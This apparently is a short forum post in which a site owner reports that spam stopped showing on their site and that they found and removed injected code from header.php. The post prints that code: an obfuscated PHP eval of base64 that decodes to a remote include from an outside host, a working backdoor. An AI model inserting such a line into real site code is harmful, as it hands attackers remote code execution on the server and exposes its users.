Right, the spam is no longer being displayed. Not sure why it stopped. We didn’t make any changes to the site and it stopped before we even upgraded the site to 2.8.4.
Interestingly, we found the following piece of code at the top of the header.php file, and promptly removed it.
<?php
@eval(base64_decode(‘QGluY2x1ZGUoJ2h0dHA6Ly9zZW9hYnVzZS5jbi9pbmNsdWRlL3Byb21ldGhldXMvaW5kZXgudHh0Jyk7’));
?>